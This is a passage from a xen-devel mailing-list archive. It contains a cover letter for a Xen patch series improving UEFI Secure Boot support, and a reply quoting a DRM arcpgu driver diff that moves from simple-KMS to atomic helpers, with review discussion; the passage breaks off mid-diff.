 parser.add_argument('-v', '--verbose',
                     action='store_true')
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 10:46:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 10:46:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355302.1610067 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002XE-LJ; Mon, 06 Jul 2026 10:46:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355302.1610067; Mon, 06 Jul 2026 10:46:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wggq1-0002X2-IE; Mon, 06 Jul 2026 10:46:09 +0000
Received: by outflank-mailman (input) for mailman id 1355302;
 Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wggq0-0002Tt-21
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 10:46:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wggpy-000ZXT-9R
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 12:46:06 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b8767-bab6-0a2a0a5309dd-0a2a4503a7dc-8
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:06 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a4b876d-ec1a-0a2a45030019-d1558033e462-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 12:46:05 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493bc8fda98so31521005e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 03:46:05 -0700 (PDT)
Received: from localhost.localdomain (2.115.147.147.dyn.plus.net.
 [147.147.115.2]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63ba97csm349823985e9.12.2026.07.06.03.46.03
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 03:46:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783334765; x=1783939565; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to;
        bh=v7aCS+tom3MSY5t1l2i/KOcaOh0j2oRAZ+UcV1Ly1oE=;
        b=nD906+yx2QPGN77Jj7dbo+qE22c2r1EOelHiaW6iRJcYiWftUhItdCwpD3vt5qigSf
         hXcXRSefgH0o3uYL6WHY4KjjN0olVFW/2zjiRTEArzn6p2srRmQHJ6dqOd2pPlhHlpZT
         vQuj2NGB/lnivpjJV5CTUGR882FEPxr7NGST+46nj5LG02b+sKp0B+syGg7iWNfBrU42
         +1vO4ZhFip7cKtKeKWaUESRgi6arn0OeMmmkUqhQMaFeB2pfcvdV6XQuwPiuzBYkXbec
         NDw7kc3WA3/MvfQFQvrLtlazLLpAB5M38VX0v52t38DBUkzF7qKGJJa84pcXCoWz7JOZ
         EBcQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783334765; x=1783939565;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=v7aCS+tom3MSY5t1l2i/KOcaOh0j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19bo60CvnmX8=
X-Received: by 2002:a05:600c:c1c8:10b0:492:1e36:1fe9 with SMTP id 5b1f17b1804b1-493d11fafa3mr78861435e9.37.1783334764770;
        Mon, 06 Jul 2026 03:46:04 -0700 (PDT)
From: Frediano Ziglio <freddy77@gmail.com>
X-Google-Original-From: Frediano Ziglio <frediano.ziglio@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	"Daniel P. Smith" <dpsmith@apertussolutions.com>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Subject: [PATCH v7 0/4] Various patches to improve Secure Boot support
Date: Mon,  6 Jul 2026 11:45:53 +0100
Message-ID: <20260706104557.430097-1-frediano.ziglio@citrix.com>
X-Mailer: git-send-email 2.43.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1783334765-077265D1-E6D30084/0/0
X-purgate-type: clean
X-purgate-size: 1491

These patches improve support for Secure boot.
UEFI CA memory mitigation requires memory pages to be not executable and
writable at the same time. So changing permissions and splitting some section
is required.
Remove multiboot pieces from EFI executable.

Changes since v1:
- improved some comments;
- merged 2 pacthes removing multiboot support in x86 PE;
- removed a patch dealing with SBAT;
- other minor changes (see single patches).

Changes since v2:
- improved some comments.

Changes since v3:
- Added Acked-by;
- Improve commit message.

Changes since v4:
- Messages updates;
- Clean some dependencies cause by code removal;
- Add small commit to remove a possibly unused string.

Changes since v5:
- removed merged commit;
- remove more code/data from xen.efi output.

Changes since v6:
- fix commit message.

Frediano Ziglio (2):
  Align relevant sections to 4KB
  x86: Split .init section to satisfy UEFI CA memory mitigation

Roger Pau MonnÃ© (2):
  x86/efi: discard multiboot and PVH support for PE binary
  x86/efi: avoid a relocation in efi_arch_post_exit_boot()

 docs/hypervisor-guide/x86/how-xen-boots.rst |  6 -----
 xen/arch/x86/boot/head.S                    |  8 +++----
 xen/arch/x86/efi/efi-boot.h                 |  7 ++++--
 xen/arch/x86/xen.lds.S                      | 25 ++++++++++++---------
 xen/tools/combine_two_binaries.py           |  2 +-
 5 files changed, 25 insertions(+), 23 deletions(-)

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 13:27:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 13:27:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355366.1610128 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgjLv-00073X-Ty; Mon, 06 Jul 2026 13:27:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355366.1610128; Mon, 06 Jul 2026 13:27:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgjLv-00073Q-RL; Mon, 06 Jul 2026 13:27:15 +0000
Received: by outflank-mailman (input) for mailman id 1355366;
 Mon, 06 Jul 2026 13:27:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wgjLu-00073K-2A
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 13:27:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgjLs-008Dhg-Nk
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:27:12 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4bad30-2eae-0a2a0a5409dd-0a2a450187a6-2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:27:12 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4bad2c-400f-0a2a45010019-cddcb4833cb4-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 15:27:09 +0200
Received: from pps.filterd (m0279870.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 666AxDLX361307
 for <xen-devel@lists.xenproject.org>; Mon, 6 Jul 2026 13:27:08 GMT
Received: from mail-pl1-f200.google.com (mail-pl1-f200.google.com
 [209.85.214.200])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f88h5183u-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 13:27:07 +0000 (GMT)
Received: by mail-pl1-f200.google.com with SMTP id
 d9443c01a7336-2c82843005eso56520265ad.1
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 06:27:07 -0700 (PDT)
Received: from localhost ([151.243.38.149]) by smtp.gmail.com with ESMTPSA id
 d9443c01a7336-2cad7146914sm51455915ad.35.2026.07.06.06.26.59
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 06 Jul 2026 06:27:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:Mime-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="In-Reply-To:References:Cc:To:From:Subject:Message-Id:Date:Content-Type:Content-Transfer-Encoding:Mime-Version"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	Z62ZCofdO2RSyyIJCVJx2qppYjkSOPFanx+87YcffZY=; b=J6jD3g6q1gm777Y0
	tCEhSej+igS1polSMQBKyYChhg+l/XZ4uwIc80VGLNbhFVtISQD3SpBmjE1ZwhbF
	Gyy+MZ6yrmI/cemN48srn8oUg6zOIJn4hEBXEccdQEQcbYcJLAmnJCa3pO8gwWMS
	hQX0gz+gfZGsFO0XhX7ADUamBPev1aPouLxYej3AVjWqNyitOIqt+jg5xamMruy9
	mXClb3UePhfIV1iJDxj1j8O0FupwqsG6JhREVpfdK6IKl5SgTqCojkkEdR0ZVmop
	bmddZIy/is8juTCeZv8+eboKz68wZOZqboke98c+QKCX6raXn8VcSx3hJMac8F3h
	cxmmQw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783344427; x=1783949227; darn=lists.xenproject.org;
        h=in-reply-to:references:cc:to:from:subject:message-id:date
         :content-type:content-transfer-encoding:mime-version:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Z62ZCofdO2RSyyIJCVJx2qppYjkSOPFanx+87YcffZY=;
        b=OiKV0e1lGX0tqlA5nbU6+4oH9k3eg2/WLsqJl04Qz/w8vwac83YUMiSEKUnd142v/2
         y8FCHwec6ylT+fqfX+zEosx3y1OfyoJZMTlEVJ3tRB7vSaqm0Km0US6IrY5k9t+TijRH
         PE6ZMbfGAvBDF2K/y3YM8DIBv0ofN70AhNA8ci6KO+FEFyRuoAIs59sFL8RAEWzPaXpZ
         +/dgYzVZxGP7y/peTJV/Cdc/sZwkocx7NP8CIvBW6Zqb+ls0XoAzW2BYxiK/0Jsc3cJB
         KuTd6uKopGOzrYJEil4D2BKKLOYBdI73StxVF/BTK2Ya4lIsYOsY/j0csAIXoOkbe14o
         GDTA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783344427; x=1783949227;
        h=in-reply-to:references:cc:to:from:subject:message-id:date
         :content-type:content-transfer-encoding:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Z62ZCofdO2RSyyIJCVJx2qppYjkSOPFanx+87YcffZY=;
        b=huUvyAAqmBrQQ9ZcAJ4ZALbgB6IKvfQOZ2nUs6XAp2p6Y/bOQc3Y+Tbnq2U6BrdaaX
         VzBBOTbrNWJry4RImthpfuB8ZHLD7zqjdQ/K0s6XkU7kE0IcRBAy6NoOgtWUK7Kt2Hjr
         Z6UeIMwf0wvgllsoS1PuuQqT381UiNbS+PRIEJAKhjKH3o7CawWM425zAGIbdg7jBqOQ
         npKkpQl4KTtGdRRrUGTGHze+PtYKr2e3sMuGTT9KlZfp7aU0vytrqsXSfBwl2cCLEYbf
         0jm80s0pNu6sgPd/EUMvo5Q2L3NXguDwLj9yUNnz2w8XKQE1QQF33hy+ZuZ3xn9tkRY/
         7LWA==
X-Forwarded-Encrypted: i=1; AHgh+Rr7p986Xi2a6ySpdih9XnHoy58rrmZb9Cgm47stIyCtv9PWwMI8x0ZbKwRfUU2YdXcJDgCDbhZ8JyM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwA1EkvZINw18GIDhGDbKsTDEK00tkkVt1beR7NmW/4L56AhcL0
	Kyid1gAuQznROG6TS2QiJTuSS0hG9ru7NpjqHt3Q6ORlgRGepK5qLNO8Vtt2Ov/efJpmpX1H8tJ
	5nx/dMdAzoFB5kLnXJNbac8ywvty/KJC1GQldo5Fh0Ivp0txnUnjVbzuUc3hkSec78qBTXA==
X-Gm-Gg: AfdE7ckmUydErdvyneRrq3/XgJKE7PoJVvz7Te7bOmFawfeLpbEkWny8L8Elv65Gcqp
	KARValLoWXK1jckBMuYy4zB+4E9J4VPhIVkVvPfKmNZ3uWi6mijY6wWbtcf1oy6RE3bFRf+VHSb
	fz/hyPmpVwFvDoRrdPXc300MrHmyKL7FFRjuXl6HCEqEKREuXneIYrWeRotS3H2XgudrDzu8pe0
	PDSFyo0uEHle18hRWA152llNMHqoIAXMaU+Ro5jYUBc0QMpUoDib7N7f7WnoMQPEgXCJfDPDdWE
	2TyzgfDxjmk+nxvtM93lNsFGqMQOc6QAyKvQg/lwPrFqNLpwzoVgj0Bn83TeLojaSYbN4pgi5y8
	o0vUfmtCEtcWkjZ4=
X-Received: by 2002:a17:903:2409:b0:2ca:4cfd:a6ea with SMTP id d9443c01a7336-2ccbe729806mr5550595ad.16.1783344426565;
        Mon, 06 Jul 2026 06:27:06 -0700 (PDT)
X-Received: by 2002:a17:903:2409:b0:2ca:4cfd:a6ea with SMTP id d9443c01a7336-2ccbe729806mr5550005ad.16.1783344425931;
        Mon, 06 Jul 2026 06:27:05 -0700 (PDT)
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Mon, 06 Jul 2026 21:26:52 +0800
Message-Id: <DJRIU0Y04PXO.1B0U1KFJRF3DX@oss.qualcomm.com>
Subject: Re: [PATCH 1/9] drm/arcpgu: replace struct drm_simple_display_pipe
 with regular atomic helpers
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>,
        "Ze Huang"
 <ze.huang@oss.qualcomm.com>,
        "Alexey Brodkin" <abrodkin@synopsys.com>,
        "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>,
        "Maxime Ripard"
 <mripard@kernel.org>,
        "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>,
        "Joel Stanley" <joel@jms.id.au>,
        "Andrew Jeffery"
 <andrew@codeconstruct.com.au>,
        "Frank Li" <Frank.Li@nxp.com>,
        "Sascha
 Hauer" <s.hauer@pengutronix.de>,
        "Pengutronix Kernel Team"
 <kernel@pengutronix.de>,
        "Fabio Estevam" <festevam@gmail.com>,
        "Linus
 Walleij" <linusw@kernel.org>,
        "Hans de Goede" <hansg@kernel.org>,
        "Alex
 Lanzano" <lanzano.alex@gmail.com>,
        "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
        <linux-aspeed@lists.ozlabs.org>,
        <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
        <xen-devel@lists.xenproject.org>
X-Mailer: aerc 0.21.0-0-g5549850facc2
References: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com> <20260705-drm-simple-kms-removal-v1-1-b4e1ca053623@oss.qualcomm.com> <2f2f0744-02a0-44ae-a8af-df6163869be4@suse.de>
In-Reply-To: <2f2f0744-02a0-44ae-a8af-df6163869be4@suse.de>
X-Proofpoint-GUID: eM5BaVqdrswApQhwvmYlpky61NjR9sv4
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA2MDEzNyBTYWx0ZWRfX2GeM++OEF0Gy
 LA73SUjC8CWQJcCuUDnkRzjNWmNq8sGBns8ONfKmC+8KeAMC6lDRRPeT7aKIMAeBHXtr863t7Sp
 tMHExcEUQlytc33Tp9CksiLf9T1y0bg=
X-Authority-Analysis: v=2.4 cv=EPU2FVZC c=1 sm=1 tr=0 ts=6a4bad2b cx=c_pps
 a=IZJwPbhc+fLeJZngyXXI0A==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=gowsoOTTUOVcmtlkKump:22
 a=P-IC7800AAAA:8 a=EUspDBNiAAAA:8 a=rGEwuu0Ht92CbwYE1HAA:9 a=QEXdDO2ut3YA:10
 a=uG9DUKGECoFWVXl0Dc02:22 a=d3PnA9EDa4IxuAV0gXij:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA2MDEzNyBTYWx0ZWRfX3Z1+aDONU+Nh
 uSvhRPx/LYPfI7v8WT8GEq31xCUD0iTPrqdm6Lb/ovT+37YlH2y5QYrHZQINlOOnemXv9rFJi/W
 pI3/U01/y4aPGzNYe+T0bqHtDLr1AuohDSBnw/r0qrBJxJS1b8iTkfLSRPGNGQf4p2xdHzL6DRf
 0tRw6lebvYS++Cgkwv9FeN+C973sB/C6Fp4iJNBlc1H9/zZi/EISOfrqctLtHN1wr9SmpQJWX5y
 o0HvA2ApB4COIZr04qwmDzPrP7ZUvpgIpnCqf3JYmORqu/6ORcyR9UYMTYfRupnYYfweLNb6ib+
 pG6HJICnuDSszmFrxpNgeOgrTAkhQEduaVLKArPqpq1lR5thFWhjJWEN1mMRlY04H5QudpQsitr
 r9lMdoaBDagmCa5jRzdqAPTePb+6NLcklMg6OwidMcWVV0CE4edA/RrBpYNswujKFVQ8Edls0cj
 IcUJ6DJ8/4pBXo1WsJA==
X-Proofpoint-ORIG-GUID: eM5BaVqdrswApQhwvmYlpky61NjR9sv4
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-06_01,2026-07-06_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 priorityscore=1501 lowpriorityscore=0 malwarescore=0
 spamscore=0 adultscore=0 suspectscore=0 phishscore=0 bulkscore=0
 impostorscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607060137
X-purgate-ID: tlsNG-d62444/1783344429-81CDE1E0-BD2DC90D/0/0
X-purgate-type: clean
X-purgate-size: 13558

On Mon Jul 6, 2026 at 4:01 PM CST, Thomas Zimmermann wrote:
> Hi
>
> Am 04.07.26 um 20:31 schrieb Ze Huang:
>> Instantiate plane, CRTC and encoder directly and wire them up with
>> standard atomic helpers.
>>
>> This removes arcpgu's dependency on deprecated simple-KMS display pipe
>> interface.
>>
>> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
>> ---
>>   drivers/gpu/drm/tiny/arcpgu.c | 165 +++++++++++++++++++++++++++++++++-=
--------
>>   1 file changed, 131 insertions(+), 34 deletions(-)
>>
>> diff --git a/drivers/gpu/drm/tiny/arcpgu.c b/drivers/gpu/drm/tiny/arcpgu=
.c
>> index c93d61ac0bb7..375cdb79e4e8 100644
>> --- a/drivers/gpu/drm/tiny/arcpgu.c
>> +++ b/drivers/gpu/drm/tiny/arcpgu.c
>> @@ -17,12 +17,12 @@
>>   #include <drm/drm_fbdev_dma.h>
>>   #include <drm/drm_fourcc.h>
>>   #include <drm/drm_framebuffer.h>
>> +#include <drm/drm_gem_atomic_helper.h>
>>   #include <drm/drm_gem_dma_helper.h>
>>   #include <drm/drm_gem_framebuffer_helper.h>
>>   #include <drm/drm_module.h>
>>   #include <drm/drm_of.h>
>>   #include <drm/drm_probe_helper.h>
>> -#include <drm/drm_simple_kms_helper.h>
>>   #include <linux/dma-mapping.h>
>>   #include <linux/module.h>
>>   #include <linux/of_reserved_mem.h>
>> @@ -52,14 +52,14 @@ struct arcpgu_drm_private {
>>   	struct drm_device	drm;
>>   	void __iomem		*regs;
>>   	struct clk		*clk;
>> -	struct drm_simple_display_pipe pipe;
>> +	struct drm_plane	plane;
>> +	struct drm_crtc		crtc;
>> +	struct drm_encoder	encoder;
>>   	struct drm_connector	sim_conn;
>>   };
>>  =20
>>   #define dev_to_arcpgu(x) container_of(x, struct arcpgu_drm_private, dr=
m)
>>  =20
>> -#define pipe_to_arcpgu_priv(x) container_of(x, struct arcpgu_drm_privat=
e, pipe)
>> -
>>   static inline void arc_pgu_write(struct arcpgu_drm_private *arcpgu,
>>   				 unsigned int reg, u32 value)
>>   {
>> @@ -117,7 +117,7 @@ static const u32 arc_pgu_supported_formats[] =3D {
>>  =20
>>   static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_private *arcpgu)
>>   {
>> -	const struct drm_framebuffer *fb =3D arcpgu->pipe.plane.state->fb;
>> +	const struct drm_framebuffer *fb =3D arcpgu->plane.state->fb;
>>   	uint32_t pixel_format =3D fb->format->format;
>>   	u32 format =3D DRM_FORMAT_INVALID;
>>   	int i;
>> @@ -139,10 +139,10 @@ static void arc_pgu_set_pxl_fmt(struct arcpgu_drm_=
private *arcpgu)
>>   	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL, reg_ctrl);
>>   }
>>  =20
>> -static enum drm_mode_status arc_pgu_mode_valid(struct drm_simple_displa=
y_pipe *pipe,
>> -					       const struct drm_display_mode *mode)
>> +static enum drm_mode_status arcpgu_crtc_helper_mode_valid(struct drm_cr=
tc *crtc,
>> +							  const struct drm_display_mode *mode)
>>   {
>> -	struct arcpgu_drm_private *arcpgu =3D pipe_to_arcpgu_priv(pipe);
>> +	struct arcpgu_drm_private *arcpgu =3D dev_to_arcpgu(crtc->dev);
>>   	long rate, clk_rate =3D mode->clock * 1000;
>>   	long diff =3D clk_rate / 200; /* +-0.5% allowed by HDMI spec */
>>  =20
>> @@ -155,7 +155,7 @@ static enum drm_mode_status arc_pgu_mode_valid(struc=
t drm_simple_display_pipe *p
>>  =20
>>   static void arc_pgu_mode_set(struct arcpgu_drm_private *arcpgu)
>>   {
>> -	struct drm_display_mode *m =3D &arcpgu->pipe.crtc.state->adjusted_mode=
;
>> +	struct drm_display_mode *m =3D &arcpgu->crtc.state->adjusted_mode;
>>   	u32 val;
>>  =20
>>   	arc_pgu_write(arcpgu, ARCPGU_REG_FMT,
>> @@ -194,11 +194,10 @@ static void arc_pgu_mode_set(struct arcpgu_drm_pri=
vate *arcpgu)
>>   	clk_set_rate(arcpgu->clk, m->crtc_clock * 1000);
>>   }
>>  =20
>> -static void arc_pgu_enable(struct drm_simple_display_pipe *pipe,
>> -			   struct drm_crtc_state *crtc_state,
>> -			   struct drm_plane_state *plane_state)
>> +static void arcpgu_crtc_helper_atomic_enable(struct drm_crtc *crtc,
>> +					     struct drm_atomic_commit *state)
>
> Since you're adding these functions anew, please use 'commit' for the=20
> name of the drm_atomic_commit.=C2=A0 Here and everywhere else in the seri=
es.=C2=A0=20
> You don't have to update existing functions, of course.
>
> The name 'state' is a bit off here and comes from when drm_atomic_commit=
=20
> was still called drm_atomic_state.
>
> CRTCs, plane, etc have state, but the update of these states is called=20
> commit.
>

Thanks for your explanation.

I will change to name 'commit' for type drm_atomic_commit, here and
everywhere else in the series.

>
>>   {
>> -	struct arcpgu_drm_private *arcpgu =3D pipe_to_arcpgu_priv(pipe);
>> +	struct arcpgu_drm_private *arcpgu =3D dev_to_arcpgu(crtc->dev);
>>  =20
>>   	arc_pgu_mode_set(arcpgu);
>>  =20
>> @@ -208,9 +207,10 @@ static void arc_pgu_enable(struct drm_simple_displa=
y_pipe *pipe,
>>   		      ARCPGU_CTRL_ENABLE_MASK);
>>   }
>>  =20
>> -static void arc_pgu_disable(struct drm_simple_display_pipe *pipe)
>> +static void arcpgu_crtc_helper_atomic_disable(struct drm_crtc *crtc,
>> +					      struct drm_atomic_commit *state)
>>   {
>> -	struct arcpgu_drm_private *arcpgu =3D pipe_to_arcpgu_priv(pipe);
>> +	struct arcpgu_drm_private *arcpgu =3D dev_to_arcpgu(crtc->dev);
>>  =20
>>   	clk_disable_unprepare(arcpgu->clk);
>>   	arc_pgu_write(arcpgu, ARCPGU_REG_CTRL,
>> @@ -218,35 +218,106 @@ static void arc_pgu_disable(struct drm_simple_dis=
play_pipe *pipe)
>>   			      ~ARCPGU_CTRL_ENABLE_MASK);
>>   }
>>  =20
>> -static void arc_pgu_update(struct drm_simple_display_pipe *pipe,
>> -			   struct drm_plane_state *state)
>> +static void arcpgu_plane_helper_atomic_update(struct drm_plane *plane,
>> +					      struct drm_atomic_commit *state)
>>   {
>>   	struct arcpgu_drm_private *arcpgu;
>>   	struct drm_gem_dma_object *gem;
>>  =20
>> -	if (!pipe->plane.state->fb)
>> +	if (!plane->state->fb)
>>   		return;
>>  =20
>> -	arcpgu =3D pipe_to_arcpgu_priv(pipe);
>> -	gem =3D drm_fb_dma_get_gem_obj(pipe->plane.state->fb, 0);
>> +	arcpgu =3D dev_to_arcpgu(plane->dev);
>> +	gem =3D drm_fb_dma_get_gem_obj(plane->state->fb, 0);
>>   	arc_pgu_write(arcpgu, ARCPGU_REG_BUF0_ADDR, gem->dma_addr);
>>   }
>>  =20
>> -static const struct drm_simple_display_pipe_funcs arc_pgu_pipe_funcs =
=3D {
>> -	.update =3D arc_pgu_update,
>> -	.mode_valid =3D arc_pgu_mode_valid,
>> -	.enable	=3D arc_pgu_enable,
>> -	.disable =3D arc_pgu_disable,
>> -};
>> -
>>   static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs =3D=
 {
>> -	.fb_create  =3D drm_gem_fb_create,
>> +	.fb_create =3D drm_gem_fb_create,
>>   	.atomic_check =3D drm_atomic_helper_check,
>>   	.atomic_commit =3D drm_atomic_helper_commit,
>>   };
>>  =20
>>   DEFINE_DRM_GEM_DMA_FOPS(arcpgu_drm_ops);
>>  =20
>> +static int arcpgu_plane_helper_atomic_check(struct drm_plane *plane,
>> +					    struct drm_atomic_commit *state)
>> +{
>> +	struct drm_plane_state *plane_state =3D drm_atomic_get_new_plane_state=
(state, plane);
>> +	struct drm_crtc *crtc =3D plane_state->crtc;
>> +	struct drm_crtc_state *crtc_state =3D NULL;
>> +	int ret;
>> +
>> +	if (crtc)
>> +		crtc_state =3D drm_atomic_get_new_crtc_state(state, crtc);
>> +
